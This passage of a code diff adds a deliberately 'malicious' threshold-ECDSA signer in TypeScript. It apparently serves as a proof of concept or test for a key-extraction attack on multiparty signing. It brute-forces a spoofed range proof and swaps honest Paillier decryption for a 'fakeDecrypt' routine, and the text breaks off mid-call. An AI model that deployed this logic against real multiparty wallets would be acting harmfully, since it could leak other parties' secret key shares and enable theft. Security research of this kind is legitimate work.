+ ].reduce(EcdsaMalicious.curve.scalarMult);
+
+ const { ntilde: ntildea, h1: h1a, h2: h2a } = xShare as XShareWithNTilde;
+
+ const signers: SignShareRT = {
+ wShare: {
+ i: xShare.i,
+ l: xShare.l,
+ m: xShare.m,
+ n: xShare.n,
+ y: xShare.y,
+ ntilde: ntildea,
+ h1: h1a,
+ h2: h2a,
+ k: bigIntToBufferBE(k, 32).toString('hex'),
+ ck: bigIntToBufferBE(ck, 768).toString('hex'),
+ w: bigIntToBufferBE(w, 32).toString('hex'),
+ gamma: bigIntToBufferBE(gamma, 32).toString('hex'),
+ },
+ kShare: {} as KShare,
+ };
+
+ const { ntilde: ntildeb, h1: h1b, h2: h2b } = yShare;
+
+ // We brute force the proof until we get a valid one
+ const proof = await rangeProof.spoofAProof(
+ EcdsaMalicious.curve,
+ 3072,
+ pk,
+ {
+ ntilde: hexToBigInt(ntildeb),
+ h1: hexToBigInt(h1b),
+ h2: hexToBigInt(h2b),
+ },
+ ck,
+ k,
+ rk,
+ Pi,
+ );
+ const proofShare = {
+ z: bigIntToBufferBE(proof.z, 384).toString('hex'),
+ u: bigIntToBufferBE(proof.u, 768).toString('hex'),
+ w: bigIntToBufferBE(proof.w, 384).toString('hex'),
+ s: bigIntToBufferBE(proof.s, 384).toString('hex'),
+ s1: bigIntToBufferBE(proof.s1, 96).toString('hex'),
+ s2: bigIntToBufferBE(proof.s2, 480).toString('hex'),
+ };
+
+ signers.kShare = {
+ i: yShare.j,
+ j: xShare.i,
+ n: pk.n.toString(16),
+ ntilde: ntildea,
+ h1: h1a,
+ h2: h2a,
+ k: bigIntToBufferBE(ck, 768).toString('hex'),
+ proof: proofShare,
+ };
+
+ return signers;
+ }
+
+ /**
+ * Perform multiplicitive-to-additive (MtA) share conversion with another
+ * signer.
+ * @param {SignConvert}
+ * @returns {SignConvertRT}
+ */
+ async signConvert(shares: SignConvert, Ni: bigint = BigInt(0), Qi: bigint = BigInt(0)): Promise<SignConvertRT> {
+ let shareParticipant: Partial<BShare> | Partial<GShare>, shareToBeSent: Partial<AShare> | MUShare;
+ let isGammaShare = false;
+ let kShare: Partial<KShare> = {};
+ if (shares.xShare && shares.yShare && shares.kShare) {
+ const xShare = shares.xShare; // currentParticipant secret xShare
+ const yShare = {
+ ...shares.yShare,
+ ntilde: shares.kShare.ntilde,
+ h1: shares.kShare.h1,
+ h2: shares.kShare.h2,
+ };
+ const signShare = await this.signShare(xShare, yShare);
+ kShare = signShare.kShare;
+ shareToBeSent = { ...shares.kShare } as Partial<AShare>;
+ shareParticipant = { ...signShare.wShare } as Partial<BShare>;
+ } else if ((shares.bShare && shares.muShare) || (shares.aShare && shares.wShare)) {
+ isGammaShare = true;
+ shareToBeSent = shares.aShare ? ({ ...shares.aShare } as MUShare) : ({ ...shares.muShare } as MUShare);
+ shareParticipant = shares.wShare ? ({ ...shares.wShare } as Partial<GShare>) : ({ ...shares.bShare } as GShare);
+ } else {
+ throw new Error('Invalid config for Sign Convert');
+ }
+ if (shareParticipant.i !== shareToBeSent.i) {
+ throw new Error('Shares from same participant');
+ }
+ if ((shareToBeSent as AShare).alpha) {
+ const bShareParticipant = shareParticipant as BShare;
+ const aShareToBeSent = shareToBeSent as AShare;
+ const pka = getPaillierPublicKey(hexToBigInt(bShareParticipant.n));
+ let ntildea, h1a, h2a, ck;
+ if (bShareParticipant.ntilde) {
+ ntildea = hexToBigInt(bShareParticipant.ntilde);
+ h1a = hexToBigInt(bShareParticipant.h1);
+ h2a = hexToBigInt(bShareParticipant.h2);
+ ck = hexToBigInt(bShareParticipant.ck);
+ }
+ // Verify $\gamma_i \in Z_{N^2}$.
+ if (
+ !rangeProof.verifyWithCheck(
+ EcdsaMalicious.curve,
+ 3072,
+ pka,
+ {
+ ntilde: ntildea,
+ h1: h1a,
+ h2: h2a,
+ },
+ {
+ z: hexToBigInt(aShareToBeSent.gammaProof.z),
+ zprm: hexToBigInt(aShareToBeSent.gammaProof.zprm),
+ t: hexToBigInt(aShareToBeSent.gammaProof.t),
+ v: hexToBigInt(aShareToBeSent.gammaProof.v),
+ w: hexToBigInt(aShareToBeSent.gammaProof.w),
+ s: hexToBigInt(aShareToBeSent.gammaProof.s),
+ s1: hexToBigInt(aShareToBeSent.gammaProof.s1),
+ s2: hexToBigInt(aShareToBeSent.gammaProof.s2),
+ t1: hexToBigInt(aShareToBeSent.gammaProof.t1),
+ t2: hexToBigInt(aShareToBeSent.gammaProof.t2),
+ u: hexToBigInt(aShareToBeSent.gammaProof.u),
+ },
+ ck,
+ hexToBigInt(aShareToBeSent.alpha),
+ hexToBigInt(aShareToBeSent.gammaProof.x)
+ )
+ ) {
+ throw new Error('could not verify signing share for gamma proof');
+ }
+ // Verify $\w_i \in Z_{N^2}$.
+ if (
+ !rangeProof.verifyWithCheck(
+ EcdsaMalicious.curve,
+ 3072,
+ pka,
+ {
+ ntilde: ntildea,
+ h1: h1a,
+ h2: h2a,
+ },
+ {
+ z: hexToBigInt(aShareToBeSent.wProof.z),
+ zprm: hexToBigInt(aShareToBeSent.wProof.zprm),
+ t: hexToBigInt(aShareToBeSent.wProof.t),
+ v: hexToBigInt(aShareToBeSent.wProof.v),
+ w: hexToBigInt(aShareToBeSent.wProof.w),
+ s: hexToBigInt(aShareToBeSent.wProof.s),
+ s1: hexToBigInt(aShareToBeSent.wProof.s1),
+ s2: hexToBigInt(aShareToBeSent.wProof.s2),
+ t1: hexToBigInt(aShareToBeSent.wProof.t1),
+ t2: hexToBigInt(aShareToBeSent.wProof.t2),
+ u: hexToBigInt(aShareToBeSent.wProof.u),
+ },
+ ck,
+ hexToBigInt(aShareToBeSent.mu),
+ hexToBigInt(aShareToBeSent.wProof.x)
+ )
+ ) {
+ throw new Error('could not verify share for wProof');
+ }
+ const sk = new paillierBigint.PrivateKey(
+ hexToBigInt(bShareParticipant.l as string),
+ hexToBigInt(bShareParticipant.m as string),
+ pka
+ );
+ const gShareParticipant = shareParticipant as GShare;
+ const muShareToBeSent = shareToBeSent as MUShare;
+ // This fakeDecrypt is the only change from the "not malicious" version of this function
+ // const alpha = sk.decrypt(hexToBigInt(aShareToBeSent.alpha));
+ const alpha = fakeDecrypt(hexToBigInt(aShareToBeSent.alpha), Ni, Qi);
+ gShareParticipant.alpha = bigIntToBufferBE(EcdsaMalicious.curve.scalarReduce(alpha), 32).toString('hex');
+ // const mu = sk.decrypt(hexToBigInt(aShareToBeSent.mu as string)); // recheck encrypted number
+ const mu = fakeDecrypt(hexToBigInt(aShareToBeSent.mu as string), Ni, Qi); // recheck encrypted number
+ gShareParticipant.mu = bigIntToBufferBE(EcdsaMalicious.curve.scalarReduce(mu), 32).toString('hex');
+ const partialShareParticipant = shareParticipant as Partial<GShare>;
+ const partialShareToBeSent = muShareToBeSent as Partial<MUShare>;
+ delete partialShareParticipant.l;
+ delete partialShareParticipant.m;
+ delete partialShareToBeSent.alpha;
+ delete partialShareToBeSent.mu;
+ }
+ if ((shareToBeSent as AShare).k) {
+ const bShareParticipant = shareParticipant as BShare;
+ const aShareToBeSent = shareToBeSent as AShare;
+ const n = hexToBigInt(aShareToBeSent.n); // Paillier pub from other signer
+ const pka = getPaillierPublicKey(n);
+ let ntildea, h1a, h2a, ntildeb, h1b, h2b;
+ if (aShareToBeSent.ntilde) {
+ ntildea = hexToBigInt(aShareToBeSent.ntilde);
+ h1a = hexToBigInt(aShareToBeSent.h1);
+ h2a = hexToBigInt(aShareToBeSent.h2);
+ ntildeb = hexToBigInt(bShareParticipant.ntilde);
+ h1b = hexToBigInt(bShareParticipant.h1);
+ h2b = hexToBigInt(bShareParticipant.h2);
+ }
+ const k = hexToBigInt(aShareToBeSent.k);
+ if (
+ !rangeProof.verify(
+ EcdsaMalicious.curve,
+ 3072,
+ pka,
+ {
+ ntilde: ntildeb,
+ h1: h1b,
+ h2: h2b,
+ },
+ {
+ z: hexToBigInt(aShareToBeSent.proof.z),
+ u: hexToBigInt(aShareToBeSent.proof.u),
+ w: hexToBigInt(aShareToBeSent.proof.w),
+ s: hexToBigInt(aShareToBeSent.proof.s),
+ s1: hexToBigInt(aShareToBeSent.proof.s1),
+ s2: hexToBigInt(aShareToBeSent.proof.s2),
+ },
+ k
+ )
+ ) {
+ throw new Error('Could not verify signing A share proof');
+ }
+ // MtA $k_j, \gamma_i$.
+ const beta0 = bigintCryptoUtils.randBetween(EcdsaMalicious.curve.order() ** _5n);
+ bShareParticipant.beta = bigIntToBufferBE(EcdsaMalicious.curve.scalarNegate(EcdsaMalicious.curve.scalarReduce(beta0)), 32).toString(
+ 'hex'
+ );
+ const g = hexToBigInt(bShareParticipant.gamma);
+ const rb = await rangeProof.randomCoPrimeTo(pka.n);
+ const cb = pka.encrypt(beta0, rb);
+ const alpha = pka.addition(pka.multiply(k, g), cb);
+ aShareToBeSent.alpha = bigIntToBufferBE(alpha, 32).toString('hex');
+ // Prove $\gamma_i \in Z_{N^2}$.
+ const gx = EcdsaMalicious.curve.basePointMult(g);
+ let proof: RangeProofWithCheck;
+ proof = await rangeProof.proveWithCheck(
+ EcdsaMalicious.curve,
+ 3072,
+ pka,
+ {